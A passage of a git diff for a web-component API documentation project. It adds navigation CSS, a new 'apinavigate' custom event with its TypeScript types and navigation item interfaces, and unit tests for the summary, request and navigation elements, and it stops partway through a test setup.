+  border-left: var(--api-navigation-list-item-hovered-border-left, initial);
+}
+
+.list-item:focus:before {
+  position: absolute;
+  top: 0;
+  right: 0;
+  bottom: 0;
+  left: 0;
+  background: currentColor;
+  content: "";
+  opacity: var(--dark-divider-opacity);
+  pointer-events: none;
+}
+
+a.list-item {
+  color: inherit;
+  text-decoration: none;
+}
+
+.toggle-button,
+.endpoint-toggle-button {
+  transform: rotateZ(0deg);
+  transition: transform 0.3s ease-in-out;
+
+  width: var(--api-navigation-endpoint-toggle-icon-width, 32px);
+  height: var(--api-navigation-endpoint-toggle-icon-height, 32px);
+}
+
+.endpoint-toggle-button {
+  transform: rotateZ(0deg);
+  transition: transform 0.3s ease-in-out;
+  margin-right: var(--api-navigation-endpoint-toggle-icon-margin-right);
+}
+
+[data-opened] .toggle-button,
+[data-endpoint-opened] .endpoint-toggle-button {
+  transform: rotateZ(-180deg);
+}
+
+.method-label {
+  margin-bottom: 0 !important;
+  white-space: nowrap;
+}
+
+.list-item.selected .method-label[data-method] {
+  color: var(--method-display-selected-color, #fff);
+}
+
+.operation {
+  padding-left: var(--api-navigation-operation-item-padding-left, 24px);
+  font-size: var(--api-navigation-operation-font-size, 14px);
+}
+
+[data-endpoint-opened] {
+  background-color: var(
+    --api-navigation-operation-endpoint-opened-background-color,
+    inherit
+  );
+}
+
+.icon {
+  display: block;
+  width: 24px;
+  height: 24px;
+  fill: currentColor;
+}
+
+.new-tab {
+  width: 16px;
+  height: 16px;
+  margin-left: 8px;
+  display: inline-block;
+  vertical-align: middle;
+}
+
+.method-label[data-method="publish"] {
+  background-color: var(
+    --http-method-label-publish-background-color,
+    rgba(31, 157, 85, 0.12)
+  );
+  color: var(--http-method-label-publish-color, #1f9d55);
+}
+
+.method-label[data-method="subscribe"] {
+  background-color: var(
+    --http-method-label-subscribe-background-color,
+    rgba(52, 144, 220, 0.12)
+  );
+  color: var(--http-method-label-subscribe-color, #3490dc);
+}
+`;
diff --git a/src/events/EventTypes.d.ts b/src/events/EventTypes.d.ts
index 11d6503..f59e896 100644
--- a/src/events/EventTypes.d.ts
+++ b/src/events/EventTypes.d.ts
@@ -22,12 +22,16 @@ interface Server {
 declare interface ApiEvents {
   summary: string;
 }
+declare interface Navigation {
+  apiNavigate: string;
+}
 
 interface IEventTypes {
   Security: Readonly<Security>;
   Request: Readonly<Request>;
   Server: Readonly<Server>;
   Api: Readonly<ApiEvents>;
+  Navigation: Readonly<Navigation>;
 }
 
 export const EventTypes: Readonly<IEventTypes>;
diff --git a/src/events/EventTypes.js b/src/events/EventTypes.js
index ab5ccdc..bb89bae 100644
--- a/src/events/EventTypes.js
+++ b/src/events/EventTypes.js
@@ -18,8 +18,10 @@ export const EventTypes = Object.freeze({
     serverChange: 'apiserverchanged',
     serverCountChange: 'serverscountchanged',
   }),
-
   Api: Object.freeze({
     summary: 'amfstoreapisummary',
   }),
+  Navigation: Object.freeze({
+    apiNavigate: 'apinavigate',
+  }),
 });
diff --git a/src/events/Events.d.ts b/src/events/Events.d.ts
index 6613574..a474a90 100644
--- a/src/events/Events.d.ts
+++ b/src/events/Events.d.ts
@@ -2,6 +2,7 @@
 // import { IOperationEvents } from './OperationEvents';
 import { IApiEvents } from './ApiEvents';
 import { IServerEvents } from './ServerEvents';
+import { INavigationEvents } from './NavigationEvents';
 // import { IDocumentationEvents } from './DocumentationEvents';
 // import { ISecurityEvents } from './SecurityEvents';
 // import { ITypeEvents } from './TypeEvents';
@@ -26,6 +27,7 @@ declare interface IEvents {
   // Parameter: IParameterEvents;
   // Example: IExampleEvents;
   // CustomProperty: ICustomPropertyEvents;
+  Navigation: INavigationEvents;
 }
 
 export const Events: Readonly<IEvents>;
diff --git a/src/events/Events.js b/src/events/Events.js
index 9c448ac..83f8da7 100644
--- a/src/events/Events.js
+++ b/src/events/Events.js
@@ -3,6 +3,7 @@
 // import { OperationEvents } from './OperationEvents.js';
 import { ApiEvents } from './ApiEvents.js';
 import { ServerEvents } from './ServerEvents.js';
+import { NavigationEvents } from './NavigationEvents.js';
 // import { DocumentationEvents } from './DocumentationEvents.js';
 // import { SecurityEvents } from './SecurityEvents.js';
 // import { TypeEvents } from './TypeEvents.js';
@@ -27,6 +28,7 @@ export const Events = {
   // Parameter: ParameterEvents,
   // Example: ExampleEvents,
   // CustomProperty: CustomPropertyEvents,
+  Navigation: NavigationEvents,
 };
 
 Object.freeze(Events);
diff --git a/src/events/NavigationEvents.d.ts b/src/events/NavigationEvents.d.ts
new file mode 100644
index 0000000..b71be78
--- /dev/null
+++ b/src/events/NavigationEvents.d.ts
@@ -0,0 +1,44 @@
+import { SelectionType } from '../types';
+
+export interface ApiNavigationEventDetail {
+  /**
+   * The domain id (graph id) of the selected object.
+   */
+  domainId: string;
+  /**
+   *  The type of the selected domain object.
+   */
+  domainType: SelectionType;
+  /**
+   * Optional, the parent object domain id (for an operation it is an endpoint)
+   */
+  parentId?: string;
+  /**
+   * Whether the selection came from the system processing rather than user interaction.
+   */
+  passive?: boolean;
+}
+
+export declare class ApiNavigationEvent extends CustomEvent<ApiNavigationEventDetail> {
+  /**
+   * @param domainId The domain id (graph id) of the selected object
+   * @param domainType The type of the selected domain object.
+   * @param parentId Optional, the parent object domain id (for an operation it is an endpoint)
+   * @param passive Whether the selection came from the system processing rather than user interaction.
+   */
+  constructor(domainId: string, domainType: SelectionType, parentId?: string, passive?: boolean);
+}
+
+export declare interface INavigationEvents {
+  /**
+   * Reads basic info about the API.
+   * @param target The node on which to dispatch the event
+   * @param domainId The domain id (graph id) of the selected object
+   * @param domainType The type of the selected domain object.
+   * @param parentId Optional, the parent object domain id (for an operation it is an endpoint)
+   * @param passive Whether the selection came from the system processing rather than user interaction.
+   */
+  apiNavigate(target: EventTarget, domainId: string, domainType: SelectionType, parentId?: string, passive?: boolean): Promise<void>;
+}
+
+export declare const NavigationEvents: Readonly<INavigationEvents>;
diff --git a/src/events/NavigationEvents.js b/src/events/NavigationEvents.js
new file mode 100644
index 0000000..3d5d13c
--- /dev/null
+++ b/src/events/NavigationEvents.js
@@ -0,0 +1,40 @@
+/* eslint-disable max-classes-per-file */
+import { EventTypes } from './EventTypes.js';
+
+/** @typedef {import('../helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../types').SelectionType} SelectionType */
+
+export class ApiNavigationEvent extends CustomEvent {
+  /**
+   * @param {string} domainId The domain id (graph id) of the selected object
+   * @param {SelectionType} domainType The type of the selected domain object.
+   * @param {string=} parentId Optional, the parent object domain id (for an operation it is an endpoint)
+   * @param {boolean=} passive Whether the selection came from the system processing rather than user interaction.
+   */
+  constructor(domainId, domainType, parentId, passive) {
+    super(EventTypes.Navigation.apiNavigate, {
+      bubbles: true,
+      composed: true,
+      cancelable: false,
+      detail: {
+        domainId, domainType, parentId, passive,
+      }
+    });
+  }
+}
+
+export const NavigationEvents = {
+  /**
+   * Performs a navigation action in AMF components.
+   * @param {EventTarget} target The node on which to dispatch the event
+   * @param {string} domainId The domain id (graph id) of the selected object
+   * @param {SelectionType} domainType The type of the selected domain object.
+   * @param {string=} parentId Optional, the parent object domain id (for an operation it is an endpoint)
+   * @param {boolean=} passive Whether the selection came from the system processing rather than user interaction.
+   */
+  apiNavigate: async (target, domainId, domainType, parentId, passive) => {
+    const e = new ApiNavigationEvent(domainId, domainType, parentId, passive);
+    target.dispatchEvent(e);
+  },
+}
+Object.freeze(NavigationEvents);
diff --git a/src/types.d.ts b/src/types.d.ts
index ef6d0f8..51ae71e 100644
--- a/src/types.d.ts
+++ b/src/types.d.ts
@@ -208,3 +208,45 @@ export declare interface UpdateServersOptions {
  * - `extra`: an application controlled server value selected by the user.
  */
 export type ServerType = 'server' | 'custom' | 'extra';
+export type SelectionType = 'summary' | 'resource' | 'operation' | 'schema' | 'security' | 'documentation';
+
+export declare interface NavigationItem {
+  label: string;
+  id: string;
+}
+
+export declare interface MethodItem extends NavigationItem {
+  method: string;
+}
+
+export declare interface EndpointItem extends NavigationItem {
+  path: string;
+  renderPath: boolean;
+  indent: number;
+  methods: MethodItem[];
+}
+
+export declare interface SecurityItem extends NavigationItem {}
+
+export declare interface TypeItem extends NavigationItem {}
+
+export declare interface DocumentationItem extends NavigationItem {
+  /**
+   * When set the documentation item refers to an external document
+   */
+  isExternal: boolean;
+  /**
+   * Only set when `isExternal` equals `true`.
+   * An URL for the external documentation.
+   */
+  url?: string;
+}
+
+export declare interface TargetModel {
+  documentation?: DocumentationItem[];
+  types?: TypeItem[];
+  securitySchemes?: SecurityItem[];
+  endpoints?: EndpointItem[];
+  _typeIds?: string[];
+  _basePaths?: string[];
+}
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index e4a5acb..72af98b 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -1,11 +1,14 @@
 import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
+import sinon from 'sinon';
 import { endpointsValue } from '../../src/elements/ApiSummaryElement.js';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../api-summary.js';
+import { EventTypes } from '../../src/events/EventTypes.js';
 
 /** @typedef {import('../../').ApiSummaryElement} ApiSummaryElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
+/** @typedef {import('../../src/events/NavigationEvents').ApiNavigationEvent} ApiNavigationEvent */
 
 describe('ApiSummaryElement', () => {
   const loader = new AmfLoader();
@@ -254,7 +257,7 @@ describe('ApiSummaryElement', () => {
             node,
             `<a
               class="endpoint-path"
-              data-shape-type="endpoint"
+              data-shape-type="resource"
               href="#/people"
               title="Open endpoint documentation"
               >
@@ -288,57 +291,63 @@ describe('ApiSummaryElement', () => {
           assert.lengthOf(nodes, 4);
         });
 
-        it('renders operation method', () => {
+        it('renders an operation', () => {
           const node = element.shadowRoot.querySelectorAll('.endpoint-item')[2].querySelector('.method-label');
           assert.dom.equal(
             node,
             `<a
               class="method-label"
               data-method="get"
-              data-shape-type="method"
+              data-shape-type="operation"
               href="#/people/get"
               title="Open method documentation"
               >get</a>`,
             {
-              ignoreAttributes: ['data-id']
+              ignoreAttributes: ['data-id', 'data-parent']
             }
           );
         });
 
-        it('dispatches the navigation event from the endpoint node', (done) => {
+        it('dispatches the navigation event from the endpoint node', () => {
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+
           const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`);
-          element.addEventListener('api-navigation-selection-changed', (e) => {
-            // @ts-ignore
-            const {detail} = e;
-            assert.typeOf(detail.selected, 'string');
-            assert.equal(detail.type, 'endpoint');
-            done();
-          });
           /** @type HTMLElement */ (node).click();
+
+          assert.isTrue(spy.calledOnce, 'the event is dispatched');
+          const e = /** @type ApiNavigationEvent */ (spy.args[0][0]);
+          const { detail } = e;
+          assert.typeOf(detail.domainId, 'string');
+          assert.equal(detail.domainType, 'resource');
         });
 
-        it('dispatches the navigation event from the endpoint path', (done) => {
+        it('dispatches the navigation event from the endpoint path', () => {
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+
           const node = element.shadowRoot.querySelector(`.endpoint-path[data-id]`);
-          element.addEventListener('api-navigation-selection-changed', (e) => {
-            // @ts-ignore
-            const {detail} = e;
-            assert.typeOf(detail.selected, 'string');
-            assert.equal(detail.type, 'endpoint');
-            done();
-          });
           /** @type HTMLElement */ (node).click();
+
+          assert.isTrue(spy.calledOnce, 'the event is dispatched');
+          const e = /** @type ApiNavigationEvent */ (spy.args[0][0]);
+          const { detail } = e;
+          assert.typeOf(detail.domainId, 'string');
+          assert.equal(detail.domainType, 'resource');
         });
 
-        it('dispatches the navigation event from the operation click', (done) => {
+        it('dispatches the navigation event from the operation click', () => {
+          const spy = sinon.spy();
+          element.addEventListener(EventTypes.Navigation.apiNavigate, spy);
+
           const node = element.shadowRoot.querySelector(`.method-label[data-id]`);
-          element.addEventListener('api-navigation-selection-changed', (e) => {
-            // @ts-ignore
-            const {detail} = e;
-            assert.typeOf(detail.selected, 'string');
-            assert.equal(detail.type, 'method');
-            done();
-          });
           /** @type HTMLElement */ (node).click();
+
+          assert.isTrue(spy.calledOnce, 'the event is dispatched');
+          const e = /** @type ApiNavigationEvent */ (spy.args[0][0]);
+          const { detail } = e;
+          assert.typeOf(detail.domainId, 'string');
+          assert.equal(detail.domainType, 'operation');
         });
       });
 
diff --git a/test/http-request/ApiRequestElement.test.js b/test/http-request/ApiRequestElement.test.js
index e29960b..dd15a2b 100644
--- a/test/http-request/ApiRequestElement.test.js
+++ b/test/http-request/ApiRequestElement.test.js
@@ -4,6 +4,7 @@ import { AmfLoader } from '../AmfLoader.js';
 import '../../api-request.js';
 import { loadMonaco } from '../MonacoSetup.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
 import { propagateResponse, responseHandler } from '../../src/elements/ApiRequestElement.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -236,29 +237,15 @@ describe('ApiRequestElement', () => {
       element = await navigationFixture();
     });
 
-    function dispatch(selected, type) {
-      // eslint-disable-next-line no-param-reassign
-      type = type || 'method';
-      document.body.dispatchEvent(
-        new CustomEvent('api-navigation-selection-changed', {
-          detail: {
-            selected,
-            type,
-          },
-          bubbles: true,
-        })
-      );
-    }
-
-    it('Sets "selected" when type is "method"', () => {
+    it('sets the "domainId" when the domainType is "operation"', () => {
       const id = '%2Ftest-parameters%2F%7Bfeature%7D/get';
-      dispatch(id);
+      NavigationEvents.apiNavigate(document.body, id, 'operation');
       assert.equal(element.selected, id);
     });
 
-    it('"selected" is undefined when type is not "method"', () => {
+    it('"does not set the "domainId" when type is not "operation"', () => {
       const id = '%2Ftest-parameters%2F%7Bfeature%7D';
-      dispatch(id, 'endpoint');
+      NavigationEvents.apiNavigate(document.body, id, 'resource');
       assert.isUndefined(element.selected);
     });
   });
diff --git a/test/navigation/ApiNavigationElement.test.js b/test/navigation/ApiNavigationElement.test.js
new file mode 100644
index 0000000..9b109cc
--- /dev/null
+++ b/test/navigation/ApiNavigationElement.test.js
@@ -0,0 +1,1643 @@
+import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing';
+import sinon from 'sinon';
+import { AmfLoader } from '../AmfLoader.js';
+import '../../api-navigation.js';
+import { 
+  computePathName, 
+  computeRenderPath, 
+  queryValue, 
+  queryDebouncer, 
+  hasPassiveSelection,
+  docsValue,
+  typesValue,
+  securityValue,
+  endpointsValue,
+  isFragmentValue,
+  shiftTabPressed,
+  focusedItemPrivate,
+  itemClickHandler,
+  flushQuery,
+  rearrangeEndpoints,
+  toggleSectionHandler,
+  selectItem,
+  selectMethodPassive,
+  toggleEndpoint,
+  computeEndpointPaddingLeft,
+  computeOperationPaddingLeft,
+} from '../../src/elements/ApiNavigationElement.js';
+import { ns } from '../../src/helpers/Namespace.js';
+import { NavigationEvents } from '../../src/events/NavigationEvents.js';
+import { EventTypes } from '../../src/events/EventTypes.js';
+
+/* eslint-disable no-plusplus */
+
+/** @typedef {import('@anypoint-web-components/anypoint-collapse').AnypointCollapseElement} AnypointCollapseElement */
+/** @typedef {import('../../src/types').DocumentationItem} DocumentationItem */
+/** @typedef {import('../../src/types').TypeItem} TypeItem */
+/** @typedef {import('../../src/types').SecurityItem} SecurityItem */
+/** @typedef {import('../../src/types').EndpointItem} EndpointItem */
+/** @typedef {import('../../src/types').MethodItem} MethodItem */
+/** @typedef {import('../../').ApiNavigationElement} ApiNavigationElement */
+/** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
+/** @typedef {import('../../').Amf.EndPoint} EndPoint */
+
+describe('ApiNavigationElement', () => {
+  const loader = new AmfLoader();
+  const asyncApi = 'async-api';
+  const unorderedEndpoints = 'unordered-endpoints';
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function basicFixture(amf) {
+    return fixture(html`<api-navigation .amf="${amf}"></api-navigation>`);
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function summaryFixture(amf) {
+    return fixture(html`<api-navigation summary .amf="${amf}"></api-navigation>`);
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function preselectedFixture(amf) {
+    return fixture(
+      html`<api-navigation summary domainId="test1" .amf="${amf}"></api-navigation>`
+    );
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function sortedFixture(amf) {
+    return fixture(
+      html`<api-navigation rearrangeEndpoints .amf="${amf}"></api-navigation>`
+    );
+  }
+
+ /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function endpointsOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
+      endpointsOpened
+      .amf="${amf}"
+    ></api-navigation>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function docsOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
+      docsOpened
+      .amf="${amf}"
+    ></api-navigation>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function typesOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
+      typesOpened
+      .amf="${amf}"
+    ></api-navigation>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function securityOpenedFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(html`<api-navigation
+      securityOpened
+      .amf="${amf}"
+    ></api-navigation>`));
+    await nextFrame();
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function modelFixture(amf) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(
+      html`<api-navigation .amf="${amf}"></api-navigation>`
+    ));
+    return elm;
+  }
+
+  /**
+   * @param {AmfDocument=} amf
+   * @param {boolean=} operationsOpened
+   * @returns {Promise<ApiNavigationElement>}
+   */
+  async function operationsOpenedFixture(amf, operationsOpened = true) {
+    const elm = /** @type ApiNavigationElement */ (await fixture(
+      html`<api-navigation .amf="${amf}" .operationsOpened="${operationsOpened}"></api-navigation>`
+    ));
+    return elm;
+  }
+
+  /**
+   * @param {string} code 
+   * @param {number} no 
+   * @returns {KeyboardEvent}
+   */
+  function keyboardEvent(code, no) {
+    const e = new KeyboardEvent('keydown', {
+      detail: 0,
+      bubbles: true,
+      cancelable: true,
+      composed: true,
+      keyCode: no,
+      code,
+      key: code,
+    });
+    return e;
+  }
+
+  describe('Super basics - without model', () => {
+    /** @type ApiNavigationElement */
+    let element;
+
+    before(async () => {
+      element = await basicFixture();
+      await nextFrame();
+    });
+
+    it('[isFragmentValue] is set', () => {
+      assert.isFalse(element[isFragmentValue]);
+    });
+
+    it('summaryRendered is not false', () => {
+      assert.isFalse(element.summaryRendered);
+    });
+
+    it('summary is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.summary');
+      assert.notOk(panel);
+    });
+
+    it('documentation is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.documentation');
+      assert.notOk(panel);
+    });
+
+    it('types is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.types');
+      assert.notOk(panel);
+    });
+
+    it('security is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.security');
+      assert.notOk(panel);
+    });
+
+    it('endpoints is not rendered', () => {
+      const panel = element.shadowRoot.querySelector('.endpoints');
+      assert.notOk(panel);
+    });
+  });
+
+  describe('Summary', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    beforeEach(async () => {
+      element = await summaryFixture();
+      await nextFrame();
+    });
+
+    it('the summary is rendered', () => {
+      const panel = element.shadowRoot.querySelector('.summary');
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on summary', () => {
+      const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.list-item.summary'));
+      node.click();
+      assert.equal(element.domainId, 'summary');
+      assert.equal(element.domainType, 'summary');
+    });
+  });
+
+  describe('Docs', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type DocumentationItem[] */
+    let model;
+
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+          isExternal: false,
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+          isExternal: false,
+        },
+      ];
+      element = await preselectedFixture();
+      element[docsValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasDocs', () => {
+      assert.isTrue(element.hasDocs);
+    });
+
+    it('renders the documentation', () => {
+      const panel = element.shadowRoot.querySelector('.documentation');
+      assert.ok(panel);
+    });
+
+    it('has a selection on the preselected item', () => {
+      const selector = '.documentation [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.documentation .list-item'))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'documentation');
+    });
+  });
+
+  describe('Types', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type TypeItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+        },
+      ];
+      element = await preselectedFixture();
+      element[typesValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasTypes', () => {
+      assert.isTrue(element.hasTypes);
+    });
+
+    it('renders the types section', () => {
+      const panel = element.shadowRoot.querySelector('section.types');
+      assert.ok(panel);
+    });
+
+    it('has a selection aon a preselected item', () => {
+      const selector = '.types [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll('.types .list-item'))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'schema');
+    });
+  });
+
+  describe('Security', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type SecurityItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+        },
+      ];
+      element = await preselectedFixture();
+      element[securityValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasSecurity', () => {
+      assert.isTrue(element.hasSecurity);
+    });
+
+    it('renders the types panel', () => {
+      const panel = element.shadowRoot.querySelector('section.security');
+      assert.ok(panel);
+    });
+
+    it('has a selection on a preselected item', () => {
+      const selector = '.security [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('changes selection when clicking on an item', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.security .list-item'
+      ))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'security');
+    });
+  });
+
+  describe('Endpoints', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type EndpointItem[] */
+    let model;
+    beforeEach(async () => {
+      model = [
+        {
+          id: 'test1',
+          label: 'test1',
+          path: '',
+          renderPath: false,
+          indent: 0,
+          methods: [
+            {
+              id: 'method1',
+              method: 'GET',
+              label: '',
+            },
+          ],
+        },
+        {
+          id: 'test2',
+          label: 'test2',
+          path: '',
+          renderPath: false,
+          indent: 0,
+          methods: [
+            {
+              id: 'method2',
+              method: 'GET',
+              label: '',
+            },
+            {
+              id: 'method3',
+              method: 'POST',
+              label: '',
+            },
+          ],
+        },
+      ];
+      element = await preselectedFixture();
+      // @ts-ignore
+      element[endpointsValue] = model;
+      await element.requestUpdate();
+    });
+
+    it('computes the hasEndpoints', () => {
+      assert.isTrue(element.hasEndpoints);
+    });
+
+    it('renders the types section', () => {
+      const panel = element.shadowRoot.querySelector('section.endpoints');
+      assert.ok(panel);
+    });
+
+    it('has a selection on a preselected item', () => {
+      const selector = '.endpoints [data-api-id="test1"]';
+      const panel = element.shadowRoot.querySelector(selector);
+      assert.ok(panel);
+    });
+
+    it('toggles an operation when clicking on an endpoint', async () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.endpoints .list-item.endpoint'
+      ))[1];
+      node.click();
+      await aTimeout(0);
+
+      const collapsable = node.nextElementSibling;
+      // @ts-ignore
+      assert.isTrue(collapsable.opened);
+    });
+
+    it('changes selection when clicking on the overview', () => {
+      const node = /** @type NodeListOf<HTMLElement> */ (element.shadowRoot.querySelectorAll(
+        '.list-item.operation[data-shape="resource"]'
+      ))[1];
+      node.click();
+      assert.equal(element.domainId, 'test2');
+      assert.equal(element.domainType, 'resource');
+    });
+
+    it('rearrangeEndpoints is not true by default', () => {
+      assert.isNotTrue(element.rearrangeEndpoints);
+    });
+  });
+
+  describe('Sorting endpoints', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    /** @type AmfDocument */
+    let amf;
+
+    // const pathKey = 'http://a.ml/vocabularies/apiContract#path';
+    const pathKey = ns.aml.vocabularies.apiContract.path;
+
+    // const dataSet = /** @type EndPoint[] */ ([
+    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
+    // ]);
+
+    // const expected = /** @type EndPoint[] */ ([
+    //   { [pathKey]: [{ '@value': '/accounts' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/accounts/:accountId' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/billing' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions' }], '@id': '', '@type': [] },
+    //   { [pathKey]: [{ '@value': '/transactions/:txId' }], '@id': '', '@type': [] },
+    // ]);
+
+    const dataSet = /** @type any[] */ ([
+      { [pathKey]: '/transactions/:txId' },
+      { [pathKey]: '/billing' },
+      { [pathKey]: '/accounts/:accountId' },
+      { [pathKey]: '/accounts' },
+      { [pathKey]: '/transactions' },
+    ]);
+
+    const expected = /** @type any[] */ ([
+      { [pathKey]: '/accounts' },
+      { [pathKey]: '/accounts/:accountId' },
+      { [pathKey]: '/billing' },
+      { [pathKey]: '/transactions' },
+      { [pathKey]: '/transactions/:txId' },
+    ]);
+
+    beforeEach(async () => {
+      element = await sortedFixture();
+      amf = await loader.getGraph(false, 'rearrange-api');
+    });
+
+    it('should sort endpoints', () => {
+      const sorted = element[rearrangeEndpoints](dataSet);
+      assert.sameDeepOrderedMembers(sorted, expected);
+    });
+
+    it('should have endpoints sorted', () => {
+      element.amf = amf;
+
+      element[endpointsValue].forEach((endpoint, i) =>
+        assert.equal(endpoint.path, expected[i][pathKey])
+      );
+    });
+
+
+    it('should sort after setting rearrangeEndpoints property', async () => {
+      element = await modelFixture(amf);
+      await nextFrame();
+      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
+      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+      element.rearrangeEndpoints = true;
+      await nextFrame();
+      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+    });
+
+    it('should un-sort after toggling rearrangeEndpoints property off', async () => {
+      element = await modelFixture(amf);
+      element.rearrangeEndpoints = true;
+      await nextFrame();
+      let elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      const expectedPaths = expected.map(endpoint => endpoint[pathKey]);
+      assert.sameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+      element.rearrangeEndpoints = false;
+      await nextFrame();
+      elementEndpointPaths = element[endpointsValue].map(endpoint => endpoint.path);
+      assert.notSameDeepOrderedMembers(elementEndpointPaths, expectedPaths);
+    });
+  });
+
+  describe('Navigation events', () => {
+    /** @type ApiNavigationElement */
+    let element;
+    let model;
+    beforeEach(async () => {
+      model = {
+        docs: [
+          {
+            id: 'test1',
+            label: 'test1',
+            isExternal: false,
+          },
+          {
+            id: 'test2',
+            label: 'test2',
+            isExternal: false,
+          },
+        ],
+        types: [
+          {
+            id: 'test3',
+            label: 'test3',
+          },
+          {
+            id: 'test4',
+            label: 'test4',
+          },
+        ],
+        security: [
+          {
+            id: 'test5',
+            label: 'test5',
+          },
+          {
+            id: 'test6',
+            label: 'test6',
+          },
+        ],
+        endpoints: [
+          {
+            id: 'test7',
+            label: 'test7',
+            methods: [
+              {
+                id: 'method8',
+                method: 'GET',
+              },
+            ],
+          },
+          {
+            id: 'test9',
+            label: 'test9',
+            methods: [
+              {
+                id: 'method10',
+                method: 'GET',
+              },
+              {
+                id: 'method11',
+                method: 'POST',
+              },
+            ],
+          },
+        ],
+      };
+      element = await basicFixture();
+      element[docsValue] = model.docs;
+      element[typesValue] = model.types;
